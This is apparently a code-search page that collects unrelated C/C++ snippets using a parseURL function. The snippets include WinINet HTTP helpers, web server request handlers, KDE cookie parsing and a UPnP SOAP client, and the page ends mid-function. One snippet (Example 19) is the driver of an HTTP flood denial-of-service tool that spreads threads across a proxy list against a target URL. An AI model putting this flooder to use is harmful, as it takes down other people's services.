	contentlen = -1;
	headerlen = -1;
	buf = buffer;
	buffree = *bufsize;
	*bufsize = 0;
	while ((n = ReceiveData(s, buf, buffree, 5000)) > 0) {
		buffree -= n;
		buf += n;
		*bufsize += n;
		getContentLengthAndHeaderLength(buffer, *bufsize,
		                                &contentlen, &headerlen);
#ifdef DEBUG
		printf("received n=%dbytes bufsize=%d ContLen=%d HeadLen=%d\n",
		       n, *bufsize, contentlen, headerlen);
#endif
		/* break if we received everything */
		if(contentlen > 0 && headerlen > 0 && *bufsize >= contentlen+headerlen)
			break;
	}
	
	closesocket(s);
	return 0;
}
Esempio n. 13
0
char    *
_httpGetIC(
        const char *address,
        char       *buffer,
        BOOL       withHeader,
        BOOL       escapeURL
    )
{
    HINTERNET   hInet;
    HINTERNET   hConn;
    HINTERNET   hReq;
    char        szBuf[BUFSIZ * 2 + 1];
    DWORD       dwSize;
    DWORD       dwIndex;
    BOOL        bret;
    char        host[MAX_PATH];
    char        webPage[MAX_WEBPAGENAME];
    BOOL        useHttps = FALSE;
    char        *tail = buffer;

    if ( escapeURL == FALSE ) {
        // newsing 対策
        char    *p;
        char    *q;

        p = strstr( address, "&done=http%3A%2F%2F" );
        if ( p ) {
            while ( (q = strstr( p, "%3A" )) != NULL ) {
                *q = ':';
                strcpy( q + 1, q + 3 );
            }
            while ( (q = strstr( p, "%2F" )) != NULL ) {
                *q = '/';
                strcpy( q + 1, q + 3 );
            }
        }
    }

    *buffer  = NUL;
    *webPage = NUL;
    parseURL( address, host, webPage, &useHttps );
    if ( !webPage )
        return ( buffer );

    _openConnectionIC( &hInet, &hConn, host, useHttps );
    if ( !hInet || !hConn )
        return ( buffer );

    // GET 対象の URL を設定
    hReq = HttpOpenRequest(
                hConn,
                "GET",
                webPage,
                NULL, NULL, NULL,
                useHttps ? INTERNET_FLAG_SECURE : 0,
                SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP |
                SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS  );
    if ( hReq == NULL ) {
        dputs( "HttpOpenRequest(): 失敗\n" );
        _closeConnectionIC( hInet, hConn );
        return ( buffer );
    }
    dprintf( "_httpGetIC(): GET %s\n", address );

    // GET リクエストを送信
    if( HttpSendRequest( hReq, NULL, 0, NULL, 0 ) != TRUE ) {
        DWORD   err = GetLastError();

        // HttpOpenRequest() で
        //     SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP |
        //     SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS
        // を設定しているのに、なぜかエラーが発生することがある

        if ( (err != ERROR_INTERNET_HTTP_TO_HTTPS_ON_REDIR) &&
             (err != ERROR_INTERNET_HTTPS_TO_HTTP_ON_REDIR)    ) {
            MessageBox( NULL,
                        "httpリクエストの送信処理でエラーが発生しました  ",
                        "http GET メソッド", MB_ICONHAND|MB_OK );
            InternetCloseHandle( hReq );
            _closeConnectionIC( hInet, hConn );
            return ( buffer );
        }

        // http ステータスコードの値に対応する後始末を実行
        dwIndex = 0;
        dwSize  = sizeof( szBuf ) - 1;
        memset( szBuf, 0x00, sizeof( szBuf ) );
        bret = HttpQueryInfo( hReq, 
                              HTTP_QUERY_STATUS_CODE,
                              szBuf, &dwSize, &dwIndex );
        if ( bret == TRUE ) {
            int statusCode = atol( szBuf );
            switch ( statusCode ) {
            case 301:
            case 302:
                dwSize = sizeof( szBuf ) - 1;
                memset( szBuf, 0x00, sizeof( szBuf ) );
                bret = HttpQueryInfo( hReq, 
                                      HTTP_QUERY_LOCATION,
                                      szBuf, &dwSize, &dwIndex );
                if ( bret == TRUE ) {
                    InternetCloseHandle( hReq );
                    _closeConnectionIC( hInet, hConn );

                    // リダイレクトを実行
                    dprintf( "_httpGetIC(): %s へリダイレクト\n", szBuf );
                    _httpGetIC( szBuf, buffer, FALSE, escapeURL );
                    return ( buffer );
                }
                break;
            }
        }
    }

    // レスポンスヘッダを受信
    bret    = TRUE;
    dwIndex = 0;
    while ( bret == TRUE ) {
        dwSize = sizeof( szBuf ) - 1;
        memset( szBuf, 0x00, sizeof( szBuf ) );
        bret = HttpQueryInfo( hReq, 
                              HTTP_QUERY_RAW_HEADERS_CRLF |
                              HTTP_QUERY_FLAG_NUMBER,
                              szBuf, &dwSize, &dwIndex );
        dwIndex++;
        if ( bret ) {
            if ( withHeader ) {
                memcpy( tail, szBuf, dwSize + 1 );
                tail += dwSize;
            }
#ifdef  _DEBUG
            dump( szBuf, dwSize );
#endif
        }
    }

    // レスポンス本体を受信
    bret = TRUE;
    while ( bret == TRUE ) {
        dwSize = 0;
        memset( szBuf, 0x00, sizeof( szBuf ) );
        bret = InternetReadFile( hReq,
                                 szBuf, sizeof( szBuf ) - 1, &dwSize );
        if ( bret ) {
            memcpy( tail, szBuf, dwSize );
            tail += dwSize;
        }
        if ( dwSize == 0 ) {
            if ( szBuf[0] ) {
                strcpy( tail, szBuf );
                tail += strlen( szBuf );
            }
            else
                *tail = NUL;
#ifdef  _DEBUG
            dump( buffer, tail - buffer );
#endif
            break;
        }
    }

    InternetCloseHandle( hReq );
    _closeConnectionIC( hInet, hConn );

#ifdef  _DEBUG_BBAUTH
    {
        FILE    *fp;
        char    filename[MAX_PATH];

        sprintf( filename, "./Debug/bbAuth_%d.html", time( NULL ) );
        fp = fopen( filename, "w" );
        if ( fp ) {
            fprintf( fp, "GET %s\n\n", address );
            fputs( buffer, fp );
            fclose( fp );
        }
    }
#endif

    return ( buffer );
}
Esempio n. 14
0
void _url_parse(char * url)
{
	printf("............url = %s.........\n", url);
	char *pos;
	int len=0;
	char *path;
	
	//parse url
	parseURL(url, &storage);
	storage.path.start += 1;  //remove '/'
	if(storage.path.start == storage.path.end)
		return;
	
	//store user_id
	if(storage.query.end != storage.query.start)
	{
		char * query = readURLField(url, storage.query);
		printf("malloc 1\n");
		qs_scanvalue("__user", query, c_info.user_id, sizeof(c_info.user_id));
		qs_scanvalue("q", query, c_info.comment, sizeof(c_info.comment));
		FREE(query);
		printf("FREE 1\n");
	}
	//modify me, stupid implemention of s_id
	path = readURLField(url, storage.path);
		printf("malloc 2\n");
	printf("url path = %s\n", path);
	//avoid referer url check
	if(c_info.p_type == 0)
	{
		c_info.p_type = _page_type_(path);
		printf("p_type = %d\n", c_info.p_type);
	}

	if((pos = strchr(path, '/')) == strrchr(path, '/'))
	{
		if(!pos)
		{
			strcpy(c_info.s_id, path);
			FREE(path);
		printf("FREE 2\n");
		}
		else
		{
			memcpy(c_info.s_id,path, pos-path);
			printf("pos-path = %d\n", pos-path);
			c_info.s_id[pos-path] = '\0';
			FREE(path);
			printf("FREE 4\n");
		}
		printf("c_info.s_id = %s\n", c_info.s_id);
	}else
		FREE(path);
//	regex_match("(\\w+\\.)+\\w+", path, &pos, &len);   //regex [\w+\.]+, not endwith php
//	if(len != 0 && !strstr(path, "php"))  //need modify
//	{
//		printf("pos = %s, len=%d\n", pos, len);
//	    strcpy(c_info.s_id, path);
//		printf("subject name:%s\n", c_info.s_id);
//	}

	if(c_info.p_type == MEDIA_SET)
	{
		path = readURLField(url, storage.query);
		printf("malloc 4\n");
		qs_scanvalue("set", path, c_info.r_id, sizeof(c_info.r_id));
		FREE(path);
		printf("FREE 6\n");
	}
}
Esempio n. 15
0
void requestHandler(void * s)
{
  SOCKET sock = ( SOCKET ) s ;
  char recvBuf[MAX_HEADER_SIZE] ;
  char pool[512] ;
  /*
    int recvlen ;
   */
  ExHttp httpInfo ;
  ++ExContext.threadCnt ;
  httpInfo.sock = sock ;

  ex_mpool_init( &httpInfo.mp, pool, sizeof (pool) ) ;
  do {
    if ( ExContext.quitFlag ) break ;

    httpInfo.recvLen = ex_read_head( sock, recvBuf, MAX_HEADER_SIZE ) ;

    if ( httpInfo.recvLen<=0 ) break ;

    httpInfo.curPos = recvBuf ;
    recvBuf[httpInfo.recvLen] = '\0' ;
    printf( "%s", recvBuf ) ;
    // strcat(recvBuf + httpInfo.recvLen , skipBrake);
    /* if method is not implemented */
    if ( checkmethod( &httpInfo )<0 ) {
      DBG( "len: %s", httpInfo.method ) ;
      ex_error_reply( &httpInfo, 400 ) ;
      errorLog( &httpInfo, "parseURL error" ) ;
      break ;
      // ex_error_reply( &httpInfo, 501 ) ;
      // break ;
    }

    if ( parseURL( &httpInfo )<0 ) {
      DBG( "url: %s protocol %s", httpInfo.url, httpInfo.protocol ) ;
      ex_error_reply( &httpInfo, 400 ) ;
      errorLog( &httpInfo, "parseURL error" ) ;
      break ;
    }

    if ( strcmp( httpInfo.protocol, "HTTP/1.1" )!=0 ) {
      ex_error_reply( &httpInfo, 505 ) ;
      errorLog( &httpInfo, "HTTP Version Not Supported" ) ;
      break ;
    }


    /* if parse head error */
    if ( parseHeader( &httpInfo )<0 ) {
      ex_error_reply( &httpInfo, 400 ) ;
      /* bad Request */
      errorLog( &httpInfo, "parse head error" ) ;
      clearHttp( &httpInfo ) ;
      break ;
    }

    if ( strcmp( httpInfo.url, "/index.jsp" )==0 ) {
      ex_error_reply( &httpInfo, 301 ) ;
      const char * method = httpInfo.method ;
      char * message = "Location: http://127.0.0.1/index.html" ;
      size_t size = strlen( message ) ;
      if ( *method=='G'|| *method=='H' ) {
        ex_sock_nwrite( httpInfo.sock, message, size ) ;
      }
      errorLog( &httpInfo, "Moved Permanently" ) ;
      break ;
    }

    /* if reply error */
    if ( replyHandler( &httpInfo )<0 ) {
      break ;
    }

  } while ( 1 ) ;

  closesocket( sock ) ;
  --ExContext.threadCnt ;
}
Esempio n. 16
0
//
// This function parses cookie_headers and returns a linked list of
// KHttpCookie objects for all cookies found in cookie_headers.
// If no cookies could be found 0 is returned.
//
// cookie_headers should be a concatenation of all lines of a HTTP-header
// which start with "Set-Cookie". The lines should be separated by '\n's.
//
KHttpCookieList KCookieJar::makeCookies(const QString &_url,
                                       const QCString &cookie_headers,
                                       long windowId)
{
    KHttpCookieList cookieList;
    KHttpCookieList cookieList2;
    KHttpCookiePtr lastCookie = 0;
    const char *cookieStr = cookie_headers.data();
    QString Name;
    QString Value;
    QString fqdn;
    QString path;
    bool crossDomain = false;

    if (!parseURL(_url, fqdn, path))
    {
        // Error parsing _url
        return KHttpCookieList();
    }
    QString defaultPath;
    int i = path.findRev('/');
    if (i > 0)
       defaultPath = path.left(i);

    //  The hard stuff :)
    for(;;)
    {
        // check for "Set-Cookie"
        if (strncmp(cookieStr, "Cross-Domain\n", 13) == 0)
        {
            cookieStr += 13;
            crossDomain = true;
        }
        else if (strncasecmp(cookieStr, "Set-Cookie:", 11) == 0) 
        {
            cookieStr = parseNameValue(cookieStr+11, Name, Value, true);

            // Host = FQDN
            // Default domain = ""
            // Default path according to rfc2109

            KHttpCookie *cookie = new KHttpCookie(fqdn, L1(""), defaultPath, Name, Value);
            if (windowId)
               cookie->mWindowIds.append(windowId);
            cookie->mCrossDomain = crossDomain;

            // Insert cookie in chain
            cookieList.append(cookie);
            lastCookie = cookie;
        }
        else if (strncasecmp(cookieStr, "Set-Cookie2:", 12) == 0)
        {
            // Attempt to follow rfc2965
            cookieStr = parseNameValue(cookieStr+12, Name, Value, true, true);

            // Host = FQDN
            // Default domain = ""
            // Default path according to rfc2965

            KHttpCookie *cookie = new KHttpCookie(fqdn, L1(""), defaultPath, Name, Value);
            if (windowId)
               cookie->mWindowIds.append(windowId);
            cookie->mCrossDomain = crossDomain;

            // Insert cookie in chain
            cookieList2.append(cookie);
            lastCookie = cookie;
        }
        else
        {
            // This is not the start of a cookie header, skip till next line.
            while (*cookieStr && *cookieStr != '\n')
                cookieStr++;

            if (*cookieStr == '\n')
                cookieStr++;

            if (!*cookieStr)
                break; // End of cookie_headers
            else
                continue; // end of this header, continue with next.
        }

        while ((*cookieStr == ';') || (*cookieStr == ' '))
        {
            cookieStr++;

            // Name-Value pair follows
            cookieStr = parseNameValue(cookieStr, Name, Value);

            QCString cName = Name.lower().latin1();
            if (cName == "domain")
            {
                QString dom = Value.lower();
                // RFC2965 3.2.2: If an explicitly specified value does not
                // start with a dot, the user agent supplies a leading dot
                if(dom.length() && dom[0] != '.')
                    dom.prepend(".");
                // remove a trailing dot
                if(dom.length() > 2 && dom[dom.length()-1] == '.')
                    dom = dom.left(dom.length()-1);

                if(dom.contains('.') > 1 || dom == ".local")
                    lastCookie->mDomain = dom;
            }
            else if (cName == "max-age")
            {
                int max_age = Value.toInt();
                if (max_age == 0)
                    lastCookie->mExpireDate = 1;
                else
                    lastCookie->mExpireDate = time(0)+max_age;
            }
            else if (cName == "expires")
            {
                // Parse brain-dead netscape cookie-format
                lastCookie->mExpireDate = KRFCDate::parseDate(Value);

                // Workaround for servers that send the expiration date in
                // 'Wed Sep 12 07:00:00 2007 GMT' format. See BR# 145244.
                if (lastCookie->mExpireDate == 0)
                  lastCookie->mExpireDate = KRFCDate::parseDate(fixupDateTime(Value));
            }
            else if (cName == "path")
            {
                if (Value.isEmpty())
                   lastCookie->mPath = QString::null; // Catch "" <> QString::null
                else
                   lastCookie->mPath = KURL::decode_string(Value);
                lastCookie->mExplicitPath = true;
            }
            else if (cName == "version")
            {
                lastCookie->mProtocolVersion = Value.toInt();
            }
            else if ((cName == "secure") ||
                     (cName.isEmpty() && Value.lower() == L1("secure")))
            {
                lastCookie->mSecure = true;
            }
            else if ((cName == "httponly") ||
                     (cName.isEmpty() && Value.lower() == L1("httponly")))
            {
                lastCookie->mHttpOnly = true;
            }
        }

        if (*cookieStr == '\0')
            break; // End of header

        // Skip ';' or '\n'
        cookieStr++;
    }

    // RFC2965 cookies come last so that they override netscape cookies.
    while( !cookieList2.isEmpty() && (lastCookie = cookieList2.take(0)) )
    {
       removeDuplicateFromList(&cookieList, lastCookie, true);
       cookieList.append(lastCookie);
    }

    return cookieList;
}
Esempio n. 17
0
//
// Looks for cookies in the cookie jar which are appropriate for _url.
// Returned is a string containing all appropriate cookies in a format
// which can be added to a HTTP-header without any additional processing.
//
QString KCookieJar::findCookies(const QString &_url, bool useDOMFormat, long windowId, KHttpCookieList *pendingCookies)
{
    QString cookieStr;
    QStringList domains;
    QString fqdn;
    QString path;
    KHttpCookiePtr cookie;
    KCookieAdvice advice = m_globalAdvice;

    if (!parseURL(_url, fqdn, path))
        return cookieStr;

    bool secureRequest = (_url.find( L1("https://"), 0, false) == 0 ||
                          _url.find( L1("webdavs://"), 0, false) == 0);

    // kdDebug(7104) << "findCookies: URL= " << _url << ", secure = " << secureRequest << endl;

    extractDomains(fqdn, domains);

    KHttpCookieList allCookies;

    for(QStringList::ConstIterator it = domains.begin();
        true;
        ++it)
    {
       KHttpCookieList *cookieList;
       if (it == domains.end())
       {
          cookieList = pendingCookies; // Add pending cookies
          pendingCookies = 0;
          if (!cookieList)
             break;
       }
       else
       {
          QString key = (*it).isNull() ? L1("") : (*it);
          cookieList = m_cookieDomains[key];
          if (!cookieList)
             continue; // No cookies for this domain
       }

       if (cookieList->getAdvice() != KCookieDunno)
          advice = cookieList->getAdvice();

       for ( cookie=cookieList->first(); cookie != 0; cookie=cookieList->next() )
       {
          // If the we are setup to automatically accept all session cookies and to
          // treat all cookies as session cookies or the current cookie is a session
          // cookie, then send the cookie back regardless of either policy.
          if (advice == KCookieReject &&
              !(m_autoAcceptSessionCookies && 
                (m_ignoreCookieExpirationDate || cookie->expireDate() == 0)))
              continue;

          if (!cookie->match(fqdn, domains, path))
             continue;

          if( cookie->isSecure() && !secureRequest )
             continue;

          if( cookie->isHttpOnly() && useDOMFormat )
             continue;

          // Do not send expired cookies.
          if ( cookie->isExpired (time(0)) )
          {
             // Note there is no need to actually delete the cookie here
             // since the cookieserver will invoke ::saveCookieJar because
             // of the state change below. This will then do the job of
             // deleting the cookie for us.
             m_cookiesChanged = true;
             continue;
          }

          if (windowId && (cookie->windowIds().find(windowId) == cookie->windowIds().end()))
          {
             cookie->windowIds().append(windowId);
          }

          if (it == domains.end()) // Only needed when processing pending cookies
             removeDuplicateFromList(&allCookies, cookie);

          allCookies.append(cookie);
       }
       if (it == domains.end())
          break; // Finished.
    }

    int cookieCount = 0;

    int protVersion=0; 
    for ( cookie=allCookies.first(); cookie != 0; cookie=allCookies.next() )
    {
       if (cookie->protocolVersion() > protVersion)
          protVersion = cookie->protocolVersion();
    }

    for ( cookie=allCookies.first(); cookie != 0; cookie=allCookies.next() )
    {
       if (useDOMFormat)
       {
          if (cookieCount > 0)
             cookieStr += L1("; ");
          cookieStr += cookie->cookieStr(true);
       }
       else
       {
          if (cookieCount == 0)
          {
             cookieStr += L1("Cookie: ");
             if (protVersion > 0)
             {
                QString version;
                version.sprintf("$Version=%d; ", protVersion); // Without quotes
                cookieStr += version;
             }
          }
          else
          {
             cookieStr += L1("; ");
          }
          cookieStr += cookie->cookieStr(false);
       }
       cookieCount++;
    }

    return cookieStr;
}
Esempio n. 18
0
char    *
_httpPostIC(
        const char *address,
        const char *request,
        char       *buffer,
        BOOL       escapeURL
    )
{
    HINTERNET   hInet;
    HINTERNET   hConn;
    HINTERNET   hReq;
    char        szBuf[BUFSIZ * 2 + 1];
    DWORD       dwSize;
    DWORD       dwIndex;
    BOOL        bret;
    char        host[MAX_PATH];
    char        webPage[MAX_WEBPAGENAME];
    BOOL        useHttps = FALSE;
    char        *tail = buffer;
    const char  *contentType =
                    "Content-Type: application/x-www-form-urlencoded";

    *buffer  = NUL;
    *webPage = NUL;
    parseURL( address, host, webPage, &useHttps );
    if ( !webPage )
        return ( buffer );

    _openConnectionIC( &hInet, &hConn, host, useHttps );
    if ( !hInet || !hConn )
        return ( buffer );

    hReq = HttpOpenRequest(
                hConn,
                "POST",
                webPage,
                NULL, NULL, NULL,
                useHttps ? INTERNET_FLAG_SECURE : 0,
                SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP |
                SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS  );
    if ( hReq == NULL ) {
        dputs( "HttpOpenRequest(): 失敗\n" );
        _closeConnectionIC( hInet, hConn );
        return ( buffer );
    }
    dprintf( "_httpPostIC(): POST %s\n>>\n%s\n<<\n", address, request );

    // requestを送信する
    bret = HttpSendRequest( hReq,
                            contentType, strlen(contentType),
                            (void *)request, strlen(request) );
    if( bret != TRUE ) {
        DWORD   err = GetLastError();

        // HttpOpenRequest() で
        //     SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP |
        //     SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS
        // を設定しているのに、なぜかエラーが発生することがある

        if ( (err != ERROR_INTERNET_HTTP_TO_HTTPS_ON_REDIR) &&
             (err != ERROR_INTERNET_HTTPS_TO_HTTP_ON_REDIR)    ) {
            MessageBox( NULL,
                        "httpリクエストの送信処理でエラーが発生しました  ",
                        "http POST メソッド", MB_ICONHAND|MB_OK );
            InternetCloseHandle( hReq );
            _closeConnectionIC( hInet, hConn );
            return ( buffer );
        }

        // http ステータスコードの値に対応する後始末を実行
        dwIndex = 0;
        dwSize  = sizeof( szBuf ) - 1;
        memset( szBuf, 0x00, sizeof( szBuf ) );
        bret = HttpQueryInfo( hReq, 
                              HTTP_QUERY_STATUS_CODE,
                              szBuf, &dwSize, &dwIndex );
        if ( bret == TRUE ) {
            int statusCode = atol( szBuf );
            switch ( statusCode ) {
            case 301:
            case 302:
                dwSize = sizeof( szBuf ) - 1;
                memset( szBuf, 0x00, sizeof( szBuf ) );
                bret = HttpQueryInfo( hReq, 
                                      HTTP_QUERY_LOCATION,
                                      szBuf, &dwSize, &dwIndex );
                if ( bret == TRUE ) {
                    InternetCloseHandle( hReq );
                    _closeConnectionIC( hInet, hConn );

                    // リダイレクトを実行
                    dprintf( "_httpPostIC(): %s へリダイレクト\n", szBuf );
                    _httpGetIC( szBuf, buffer, FALSE, escapeURL );
                    return ( buffer );
                }
                break;
            }
        }
    }

    // レスポンス本体を受信
    bret = TRUE;
    while ( bret == TRUE ) {
        dwSize = 0;
        memset( szBuf, 0x00, sizeof( szBuf ) );
        bret = InternetReadFile( hReq,
                                 szBuf, sizeof( szBuf ) - 1, &dwSize );
        if ( bret ) {
            memcpy( tail, szBuf, dwSize );
            tail += dwSize;
        }
        if ( dwSize == 0 ) {
            if ( szBuf[0] ) {
                strcpy( tail, szBuf );
                tail += strlen( szBuf );
            }
            else
                *tail = NUL;
#ifdef  _DEBUG
            dump( buffer, tail - buffer );
#endif
            break;
        }
    }

    InternetCloseHandle( hReq );
    _closeConnectionIC( hInet, hConn );

#ifdef  _DEBUG_BBAUTH
    {
        FILE    *fp;
        char    filename[MAX_PATH];

        sprintf( filename, "./Debug/bbAuth_%d.html", time( NULL ) );
        fp = fopen( filename, "w" );
        if ( fp ) {
            fprintf( fp, "POST %s\n",   address );
            fprintf( fp, ">>   %s\n\n", request );
            fputs( buffer, fp );
            fclose( fp );
        }
    }
#endif

    return ( buffer );
}
Esempio n. 19
0
int main(int argc, char *argv[ ]) {
        if(argc < 4){
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s <target url> <number threads to use> <proxy list> <time> [manual ip]\n", argv[0]);
                exit(-1);
        }
        //fprintf(stdout, "Setting up Sockets...\n");
        int num_threads = atoi(argv[2]);
        FILE *pFile = fopen(argv[3], "rb");
        if(pFile==NULL)
        {
                perror("fopen"); exit(1);
        }
        fseek(pFile, 0, SEEK_END);
        long lSize = ftell(pFile);
        rewind(pFile);
        char *buffer = (char *)malloc(lSize*sizeof(char));
        fread(buffer, 1, lSize, pFile);
        fclose (pFile);
        int i=0;
        char *pch = (char *)strtok(buffer, ":");
        while(pch != NULL)
        {
                if(head == NULL)
                {
                        head = (struct list *)malloc(sizeof(struct list));
                        bzero(head, sizeof(struct list));
                        head->data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(head->data, sizeof(struct proxy));
                        head->data->working = 1;
                        head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) exit(-1);
                        head->data->port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
                        pch = (char *)strtok(NULL, ":");
                        head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        head->next = head;
                        head->prev = head;
                } else {
                        struct list *new_node = (struct list *)malloc(sizeof(struct list));
                        bzero(new_node, sizeof(struct list));
                        new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(new_node->data, sizeof(struct proxy));
                        new_node->data->working = 1;
                        new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) break;
                        new_node->data->port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        new_node->prev = head;
                        new_node->next = head->next;
                        head->next = new_node;
                }
        }
        free(buffer);
        const rlim_t kOpenFD = 1024 + (num_threads * 2);
        struct rlimit rl;
        int result;
        rl.rlim_cur = kOpenFD;
        rl.rlim_max = kOpenFD;
        result = setrlimit(RLIMIT_NOFILE, &rl);
        if (result != 0)
        {
                perror("setrlimit");
                fprintf(stderr, "setrlimit returned result = %d\n", result);
        }
        setupparts();
        parseURL(argv[1], returnparts);
        if(argc > 5)
        {
                ipstr = malloc(strlen(argv[5])+1);
                bzero(ipstr, strlen(argv[5])+1);
                strcpy(ipstr, argv[5]);
                //fprintf(stdout, "Using manual IP...\n");
        } else {
                struct hostent *he;
                struct in_addr a;
                he = gethostbyname(returnparts[host]->value);
                if (he)
                {
                        while (*he->h_addr_list)
                        {
                                bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
                                ipstr = malloc(INET_ADDRSTRLEN+1);
                                inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
                                break;
                        }
                }
                else
                { herror("gethostbyname"); }
        }
        pthread_t thread[num_threads];
        struct list *td[num_threads];
        struct list *node = head->next;
		
		
        for(i=0;i<num_threads;i++)
        {
                td[i] = node;
                node = node->next;
        }
        postpayload = malloc(4096);
        sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value);
        freeparts();
      
	    //fprintf(stdout, "Starting Flood...\n");
        
		fnAttackInformation(atoi(argv[argc-1]));
		for(i = 0;i<num_threads;i++){
                pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
        }
        sleep(atoi(argv[4]));
        return 0;
}
Esempio n. 20
0
static int upnpc_send_soap_request(upnpc_device_t * p, const char * url,
                                   const char * service,
                                   const char * method,
                                   const struct upnp_args * args, int arg_count)
{
	char action[128];
	char * body;
	const char fmt_soap[] = 
		"<?xml version=\"1.0\"?>\r\n"
		"<" SOAPPREFIX ":Envelope "
		"xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
		SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
		"<" SOAPPREFIX ":Body>"
		"<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">"
		"%s"
		"</" SERVICEPREFIX ":%s>"
		"</" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>"
		"\r\n";
	int body_len;
	char hostname[MAXHOSTNAMELEN+1];
	char hostname_port[MAXHOSTNAMELEN+1+6];
	unsigned short port;
	char * path;
	unsigned int scope_id;
	char * args_xml = NULL;
	struct evhttp_request * req;
	struct evkeyvalq * headers;
	struct evbuffer * buffer;

	if(p->state & UPNPC_DEVICE_SOAP_REQ) {
		debug_printf("%s: another SOAP request in progress\n", __func__);
		return UPNPC_ERR_REQ_IN_PROGRESS;
	}

	if(arg_count > 0) {
		int i;
		size_t l, n;
		for(i = 0, l = 0; i < arg_count; i++) {
			/* <ELT>VAL</ELT> */
			l += strlen(args[i].elt) * 2 + strlen(args[i].val) + 5;
		}
		args_xml = malloc(++l);
		if(args_xml == NULL) {
			return -1;
		}
		for(i = 0, n = 0; i < arg_count && n < l; i++) {
			/* <ELT>VAL</ELT> */
			n += snprintf(args_xml + n, l - n, "<%s>%s</%s>",
			              args[i].elt, args[i].val, args[i].elt);
		}
	}

	body_len = snprintf(NULL, 0, fmt_soap, method, service, args_xml?args_xml:"", method);
	body = malloc(body_len + 1);
	if(body == NULL) {
		free(args_xml);
		return -1;
	}
	if(snprintf(body, body_len + 1, fmt_soap, method, service, args_xml?args_xml:"", method) != body_len) {
		debug_printf("%s: snprintf() returned strange value...\n", __func__);
	}
	free(args_xml);
	args_xml = NULL;
	if(!parseURL(url, hostname, &port, &path, &scope_id)) {
		free(body);
		return -1;
	}
	if(port != 80)
		snprintf(hostname_port, sizeof(hostname_port), "%s:%hu", hostname, port);
	else
		strncpy(hostname_port, hostname, sizeof(hostname_port));
	snprintf(action, sizeof(action), "\"%s#%s\"", service, method);
	if(p->soap_conn == NULL) {
		p->soap_conn = evhttp_connection_base_new(p->parent->base, NULL, hostname, port);
	}
	req = evhttp_request_new(upnpc_soap_response, p);
	headers = evhttp_request_get_output_headers(req);
	buffer = evhttp_request_get_output_buffer(req);
	evhttp_add_header(headers, "Host", hostname_port);
	evhttp_add_header(headers, "SOAPAction", action);
	evhttp_add_header(headers, "Content-Type", "text/xml");
	/*evhttp_add_header(headers, "User-Agent", "***");*/
	/*evhttp_add_header(headers, "Cache-Control", "no-cache");*/
	/*evhttp_add_header(headers, "Pragma", "no-cache");*/
	evbuffer_add(buffer, body, body_len);
	evhttp_make_request(p->soap_conn, req, EVHTTP_REQ_POST, path);
	free(body);
	p->state |= UPNPC_DEVICE_SOAP_REQ;
	return 0;
}
Esempio n. 21
0
    void MiniWebServer::accepted(boost::shared_ptr<Socket> psock, long long connectionId ) {
        char buf[4096];
        int len = 0;
        try {
#ifdef MONGO_SSL
            psock->doSSLHandshake();
#endif
            psock->setTimeout(8);
            while ( 1 ) {
                int left = sizeof(buf) - 1 - len;
                if( left == 0 )
                    break;
                int x;
                try {
                    x = psock->unsafe_recv( buf + len , left );
                } catch (const SocketException&) {
                    psock->close();
                    return;
                }
                len += x;
                buf[ len ] = 0;
                if ( fullReceive( buf ) ) {
                    break;
                }
            }
        }
        catch (const SocketException& e) {
            LOG(1) << "couldn't recv data via http client: " << e << endl;
            return;
        }
        buf[len] = 0;

        string responseMsg;
        int responseCode = 599;
        vector<string> headers;

        try {
            doRequest(buf, parseURL( buf ), responseMsg, responseCode, headers, psock->remoteAddr() );
        }
        catch ( std::exception& e ) {
            responseCode = 500;
            responseMsg = "error loading page: ";
            responseMsg += e.what();
        }
        catch ( ... ) {
            responseCode = 500;
            responseMsg = "unknown error loading page";
        }

        stringstream ss;
        ss << "HTTP/1.0 " << responseCode;
        if ( responseCode == 200 ) ss << " OK";
        ss << "\r\n";
        if ( headers.empty() ) {
            ss << "Content-Type: text/html\r\n";
        }
        else {
            for ( vector<string>::iterator i = headers.begin(); i != headers.end(); i++ ) {
                verify( strncmp("Content-Length", i->c_str(), 14) );
                ss << *i << "\r\n";
            }
        }
        ss << "Connection: close\r\n";
        ss << "Content-Length: " << responseMsg.size() << "\r\n";
        ss << "\r\n";
        ss << responseMsg;
        string response = ss.str();

        try {
            psock->send( response.c_str(), response.size() , "http response" );
            psock->close();
        }
        catch ( SocketException& e ) {
            LOG(1) << "couldn't send data to http client: " << e << endl;
        }
    }
Esempio n. 22
0
File: frame.c Progetto: richq/w3m
static int
createFrameFile(struct frameset *f, FILE * f1, Buffer *current, int level,
		int force_reload)
{
    int r, c, t_stack;
    URLFile f2;
#ifdef USE_M17N
    wc_ces charset, doc_charset;
#endif
    char *d_target, *p_target, *s_target, *t_target;
    ParsedURL *currentURL, base;
